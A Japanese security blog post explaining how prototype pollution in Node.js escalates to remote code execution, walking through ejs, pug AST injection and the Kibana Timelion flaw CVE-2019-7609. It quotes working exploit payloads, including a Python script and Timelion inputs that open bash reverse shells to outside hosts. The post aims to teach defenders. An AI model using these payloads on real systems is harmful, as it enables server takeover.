knqyf263's blog

自分のためのメモとして残しておくためのブログ。

Node.jsでプロトタイプ汚染後に任意コード実行まで繋げた事例

概要

前回Node.jsのプロトタイプ汚染を起こすためのバイパス方法について記事にしました。

knqyf263.hatenablog.com

プロトタイプ汚染後に何が出来るのか、ということについては基本的にアプリケーション依存なのであまり話題になることは少ないです。

自分の知る限り一番多いのは

if(user.isAdmin) {
  // do something
}

といったような重要なプロパティを書き換えることで権限昇格する例です。ただし、自分の理解では isAdmin が初期化されていないことが前提条件として必要です。

const obj1 = {};
const obj2 = JSON.parse('{"__proto__":{"isAdmin":true}}');
merge(obj1, obj2)

var a = {}
a.isAdmin // true

var b = {isAdmin: false}
b.isAdmin // false

つまり、プロトタイプ汚染が起きていたとしても上記のようにisAdminがそのオブジェクト自体に定義されていればプロトタイプチェーンで __proto__isAdmin を見に行く必要がないため b.isAdmin はfalseになります。そのため、プロトタイプ汚染が起きると即座に任意のプロパティが書き換えられて危険ということはなくて、未初期化なプロパティが攻撃対象となると思います。そのため、実装によっては影響をあまり受けないケースというのも多いのではないかと考えています。

そんな中で、OSSに対してプロトタイプ汚染を用いて攻撃を成功した例をブログで見かけたので事例をいくつかまとめました。ブログを読んで感想を述べるだけのゆるふわな記事です。

事例を駆け足でまとめたので、改めて読むとちょっと分かりにくいところもありそうです。ちゃんと細部を理解したい方は各ブログを読むことをおすすめします。

詳細

プロトタイプ汚染後の攻撃に関する前提

考えてみると当たり前の話なんですが、少し面白いのはプロトタイプ汚染を引き起こす口とそれが実際に発火する場所は全く異なって良いということです。 Object.prototype を汚染するとあらゆるオブジェクトに影響が出るため、とあるOSSでプロトタイプ汚染を引き起こしてその後はアプリケーション固有の実装で発火(上記のisAdminのような例)、とか、あるOSSで汚染したあとに全く別のOSSの実装箇所で発火(このあと説明します)、ということも可能なわけです。

実際に発火する別のOSS自体は全く脆弱ではなくても攻撃に利用されてしまいます。やはりグローバルの汚染というのはなかなかに強烈だなと感じています。

ejsの例

以下のブログ内で紹介されていた方法になります。

blog.p6.is

前回の記事で紹介した express-fileupload のプロトタイプ汚染を利用してテンプレートエンジンである ejs にて任意コード実行をさせる方法です。つまり、上述した通りejs自体には何の脆弱性もありません。

この攻撃方法は中国のCTFで出題されていたようです。

github.com

まず最初にこの攻撃を再現するためのサンプルコードを上のブログから引用します。

const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();

app.use(fileUpload({ parseNested: true }));

app.get('/', (req, res) => {
    console.log(Object.prototype.polluted);
    res.render('index.ejs');
});

app.listen(7777);

本題からずれるのですが、 app.set(‘view engine’, ‘ejs’) とかは不要なんでしょうか。ドキュメントやブログ等を参照すると全てで設定していたのに、手元で試したら設定せずともejsのコードが呼ばれていました。

github.com

拡張子がejsだから自動でejsを使ってくれる機能があるのかなと思いましたが、今回のテーマはそこじゃないので一旦忘れます。

この例ではexpress-fileuploadが脆弱なためプロトタイプ汚染が可能です。しかしexpress-fileupload内でコマンド実行を狙うのではなく、別のOSSであるejsの変数を狙います。

具体的には outputFunctionName というejs内で利用される変数を汚染します。以下はejsのコードですが、動的にNode.jsのコードを組み立てています。その中で outputFunctionName が埋め込まれていることが分かります。

    if (!this.source) {
      this.generateSource();
      prepended += '  var __output = [], __append = __output.push.bind(__output);' + '\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      if (opts._with !== false) {
        prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
        appended += '  }' + '\n';
      }
      appended += '  return __output.join("");' + '\n';
      this.source = prepended + this.source + appended;
    }

さらにこのオプションはデフォルトで定義されていないため、プロトタイプ汚染にもってこいな値となっています。自由にNode.jsのコードを埋め込めるということは自由にOSコマンドも実行可能ということを意味します。

上のブログでは丁寧にPythonスクリプトも載せてくれていました。

import requests

cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'

# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://p6.is:7777')

上のスクリプトを見ると __proto__.outputFunctionName を汚染してNode.jsのコードを埋め込んでいることが分かります。

ここで面白いのは最初のPOSTリクエストでは発火せずにexpress-fileupload経由で汚染するだけで、2回目のGETで発火するところです。手元で試しましたが、恐ろしく簡単に成功しました。当たり前ですが汚染された状態のままなので、次回以降のGETリクエストでは常に発火します。

ejsの outputFunctionName が狙い目というのは知っている人の間では常識のようです。

pugの例

こちらも同じ方のブログで紹介されていた方法です。

blog.p6.is

pugも上述したejs同様に広く使われているテンプレートエンジンです。使い方もブログにあったものをそのまま持ってきていますが、テンプレートを定義してコンパイルし、生成された関数に対して変数を渡して結果を出力するというシンプルなものです。

const pug = require('pug');

const source = `h1= msg`;

var fn = pug.compile(source);
var html = fn({msg: 'It works'});

console.log(html); // <h1>It works</h1>

これも本題からずれますが、利用例などを見ていたのですがあまりpug.compileしている例を見つけられませんでした。

pug.compile は受け取った文字列をテンプレート関数に変換しています。その後、生成された関数(上の場合はfn)を使って最終的な値を出力しています。内部でどのようなことが行われているのかを確認します。

f:id:knqyf263:20200810230933p:plain

Lexerがテンプレートを解析してTokensにし、ParserがASTに変換し、CompilerがFunctionを生成するという一般的な流れです。ということでASTを処理する箇所があるのですが、今回の方法ではプロトタイプ汚染によってASTを途中で注入するというのがユニークなところです。

以下のように walkAST 内で ast.block にアクセスする処理があります。

switch (ast.type) {
    case 'NamedBlock':
    case 'Block':
        ast.nodes = walkAndMergeNodes(ast.nodes);
        break;
    case 'Case':
    case 'Filter':
    case 'Mixin':
    case 'Tag':
    case 'InterpolatedTag':
    case 'When':
    case 'Code':
    case 'While':
        if (ast.block) {
        ast.block = walkAST(ast.block, before, after, options);
        }
        break;
    ...

pugの該当箇所は以下です。

github.com

ブログ内では ast.typeWhile の場合に ast.block が処理されると書いてありましたがbreakがないので、その上のcaseにマッチしても処理されそうです。いずれにせよテンプレート内で変数を使っていれば通る処理であり、特に複雑な条件は必要ないとブログでは書かれていました。そもそも変数使わないならテンプレートエンジン使わないと思うので高確率で処理されるということかと思います。

このblockというプロパティはASTである必要があるため、プロトタイプ汚染を使ってblockにASTを注入します。そしてそのASTの val というプロパティが最終的な結果に出力されるようです。言葉では分かりにくいのでサンプルコードを見ます。

const pug = require('pug');

Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

console.log(html); // <h1>It works<script>alert(origin)</script></h1>

上の例では Object.prototype.block を汚染してASTを注入しています。この汚染は説明したように別のOSS経由でも良いです。そうすると結果の最後に val として与えた文字列が足されていることが分かると思います( <script>alert(origin)</script> の部分)。

あまりその辺りの説明がないので分からないですが、プロトタイプ汚染によって Object.prototype.block 経由でASTに新しくノードを足したことで、本来テンプレートにはない値が追加されてしまったのだと思います。そのASTを基にFunctionを作っているため、そちらにも混入し当然最終結果にも含まれます。

理解が間違ってる可能性があるのでテンプレートエンジンのプロから指摘あればお願いします。

無事に任意のノードをASTに入れることが出来るようになったので、あとはそれを使って悪用するステップになります。

pug-code-genではASTを基に関数を生成するわけですが、その中に以下のような処理があります。

if (debug && node.debug !== false && node.type !== 'Block') {
    if (node.line) {
        var js = ';pug_debug_line = ' + node.line;
        if (node.filename)
            js += ';pug_debug_filename = ' + stringify(node.filename);
        this.buf.push(js + ';');
    }
}

pug/index.js at f97ebdb48c7c0fdd4ff4b7418dcf4e03b27a1405 · pugjs/pug · GitHub

pug_debug_line を定義する処理ですが、そこに node.line の値を入れています。これはデバッグ用途で行番号を保存するための変数になります。 node.line が存在すれば代入し、なければskipするようになっています。

当たり前ですが、この node.line は本来常にintegerになります。nodeは pug-parser によって渡される値のはずなので、integer以外が渡されることはあり得ません。しかし既に見てきたように我々はAST Injectionによって自由な node を定義可能です。

ということは node.line 経由で自由なNode.jsのコードが渡せてしまうとうことです。

const pug = require('pug');

Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"};

const source = `h1= msg`;

var fn = pug.compile(source, {});
console.log(fn.toString());

このように line の値としてOSコマンドが実行される処理を渡します。その結果生成される関数は以下のようになります。

function template(locals) {
    var pug_html = "",
        pug_mixins = {},
        pug_interp;
    var pug_debug_filename, pug_debug_line;
    try {;
        var locals_for_with = (locals || {});

        (function (console, msg, process) {;
            pug_debug_line = 1;
            pug_html = pug_html + "\u003Ch1\u003E";;
            pug_debug_line = 1;
            pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp));;
            pug_debug_line = console.log(process.mainModule.require('child_process').execSync('id').toString());
            pug_html = pug_html + "ndefine\u003C\u002Fh1\u003E";
        }.call(this, "console" in locals_for_with ?
            locals_for_with.console :
            typeof console !== 'undefined' ? console : undefined, "msg" in locals_for_with ?
            locals_for_with.msg :
            typeof msg !== 'undefined' ? msg : undefined, "process" in locals_for_with ?
            locals_for_with.process :
            typeof process !== 'undefined' ? process : undefined));;
    } catch (err) {
        pug.rethrow(err, pug_debug_filename, pug_debug_line);
    };
    return pug_html;
}

真ん中の辺りに pug_debug_lineline の値を代入するところがあります。

pug_debug_line = console.log(process.mainModule.require('child_process').execSync('id').toString());

id コマンドを実行しています。この関数が pug.compile の結果として返され、その関数を実行するので無事にOSコマンドが実行されます。念の為再掲しておきますが、 fn の部分です。

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

ということでプロトタイプ汚染を使うことでLexerの処理をバイパスして好きなASTを入れるという方法でした。何というか面白かったです(小学生並みの感想)。

ブログ内では Handlebars に対するAST Injectionの方法も解説されているので興味がある人は読んでみて下さい。

Kibanaの例(CVE-2019-7609)

最後にKibanaの任意コード実行の例です。上の2つの例と違って、Kibana上でプロトタイプ汚染をしてそのままKibanaで任意コード実行につなげるパターンです。上の2つはテンプレートエンジンの正常な挙動とプロトタイプ汚染を組み合わせた例なので脆弱性ではないですが、こちらはKibanaの脆弱性になります。個人的にはこれが結構好きです。

詳細が知りたい方は以下のブログをどうぞ。

research.securitum.com

まず脆弱性はKibanaのTimelion機能にありました。

f:id:knqyf263:20200811040829p:plain

Timelionでは props という関数を使ってラベルを生成することが出来ます。上の例では .es(*).props(label='ABC') としているのでABCになります。実はこのpropsは文字列だけではなくてオブジェクトもlabelに代入することが出来ます。つまり、 .es(*).props(label.x='ABC') と指定するとラベルは { x: 'ABC' } になります。

もうここまで真面目に読んできた人なら分かると思いますが、以下の方法でプロトタイプ汚染が可能です。

.es.props(label.__proto__.x='ABC')

プロトタイプ汚染の良いところは、一度汚染してしまえばこのTimelion機能に関わらず全ての機能が攻撃対象となるところです。そこで、このブログの筆者はCanvas機能を利用した時に child_process.spawn されていることに気付いたそうです。具体的にはKibanaが node のプロセスを起動しようします。

とはいえその引数を簡単に汚染して終了という感じではなかったようです。恐らくこれはプロパティが未初期化じゃないとプロトタイプ汚染が刺さらないというところに関係していると思います。nodeコマンドに渡す値が空ということはないと思うので。ですが、さらに調査して環境変数を設定する箇所を見つけました。

var env = options.env || process.env;
var envPairs = [];
 
for (var key in env) {
  const value = env[key];
  if (value !== undefined) {
    envPairs.push(`${key}=${value}`);
  }
}

1行目から感じられる通り、options.env はデフォルトでは設定されていないようです。そのためプロトタイプ汚染に最適な変数です。つまり、環境変数が自由に設定できるようになりました。とはいえ実行できるコマンドはnodeに固定されており、ここからどうするのかなと自分も気になったのですが、nodeには NODE_OPTIONS という環境変数があり、これを使うとnodeの引数を制御できるようです。

さらにnodeには --eval という変数がありこれでゲーム終了かと思いきや、 NODE_OPTIONS 経由での --eval は許可されていなかったとのことです。

$ node --eval 'console.log(123)'
123
$ NODE_OPTIONS='--eval console.log(123)' node
node: --eval is not allowed in NODE_OPTIONS

念の為手元でも試してみましたが動かずでした。しかしさらなる執念で --require を発見します。これはnode起動時にJavaScriptの任意のファイルを読み込めるというものです。

ラッキーなことにこちらは NODE_OPTIONS 経由でも動きます。

$ echo 'console.log(123)' > file.js
$ NODE_OPTIONS='--require ./file.js' node
123
Welcome to Node.js v14.5.0.
Type ".help" for more information.
>

やはり自分の環境でも動きました。nodeのインタプリタが起動する前に123が出力されています。

あとは任意のファイルさえアップロードできれば任意コード実行に繋げられます。自分はこの後の方法が全く思いつかなかったのですが、この方は /proc/self/environ を使うことを思いつきます。これは現在のプロセスの環境変数を全て表示してくれる特殊なファイルのようなものです。

プロトタイプ汚染によって環境変数が自由に制御できるため、 /proc/self/environ に好きな文字列を注入することが出来ます。そこで環境変数の値としてJavaScriptの関数を入れてその後をコメントアウトします。

bash-5.0# AAA='console.log(123)//' cat /proc/self/environ
AAA=console.log(123)//HOSTNAME=7a833b2d194fPWD=/HOME=/rootTERM=xtermSHLVL=2PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin_=/bin/cat

この時、 /proc/self/environ の先頭は AAA=console.log(123) になって偶然にも(?)正しいJavaScriptのコードになります。それ以降はコメントアウトされているので影響しません。つまり /proc/self/environ を読み込めばJavaScriptとして動作してくれるようになります。

root@888e984965f5:/# NODE_OPTIONS='--require /proc/self/environ' AAA='console.log(123)//' node
123
Welcome to Node.js v14.7.0.
Type ".help" for more information.
>

手元で試しましたが、確かに123が表示されています。

ちなみに、上では自分で足したAAAという環境変数が先頭に来てくれているため正しくJSとして認識されていますが、これが最後に来てしまうと前半にゴミが入ってしまうので当然うまくいきません。上はbashで試していますが、shだと先頭に来てくれず動きませんでした。

/ # AAA='console.log(123)//' cat /proc/self/environ
HOSTNAME=7a833b2d194fSHLVL=3HOME=/root_=/proc/self/environTERM=xtermPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binAAA=console.log(123)//PWD=//

この状態で --require/proc/self/environ を渡しても失敗します。

/ # NODE_OPTIONS='--require /proc/self/environ' AAA='console.log(123)//' node
/proc/9/environ:1
NODE_VERSION=16.10.0
                  ^^

SyntaxError: Unexpected number

脱線しましたがこれで好きなコマンドが実行できるようになったため、あとはリバースシェル張るだけの簡単なお仕事です。

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

上記をTimelionに貼って汚染したあとにCanvasを開けば発火します。

ということで終わりですが、これに関してはプロトタイプ汚染とかよりも環境変数のみ操作できる状態から任意コード実行に繋げたところが凄いと思います。環境変数さえ制御できればnodeのプロセスが起動されるところでコマンド実行まで行けるというのは大きな知見な気がします。

まとめ

今回は事例紹介するだけのゆるふわ記事でしたが、プロトタイプ汚染をするとその後に無限の可能性が広がっていることが分かったと思います。未初期化の変数を見つけてしまえばそこからいくらでも悪さできそうです。もちろんアプリケーションの実装に依存はしますが、今回の事例のように利用している他のOSSなども考慮するとやはり危険ですしプロトタイプ汚染をきちんと防ぎましょうということですね。

理由も分からずプロトタイプ汚染を防げと言われても深刻度が分からないとピンとこないということもあるかと思ったため、今回はアフタープロトタイプ汚染(Withプロトタイプ汚染)についてまとめました。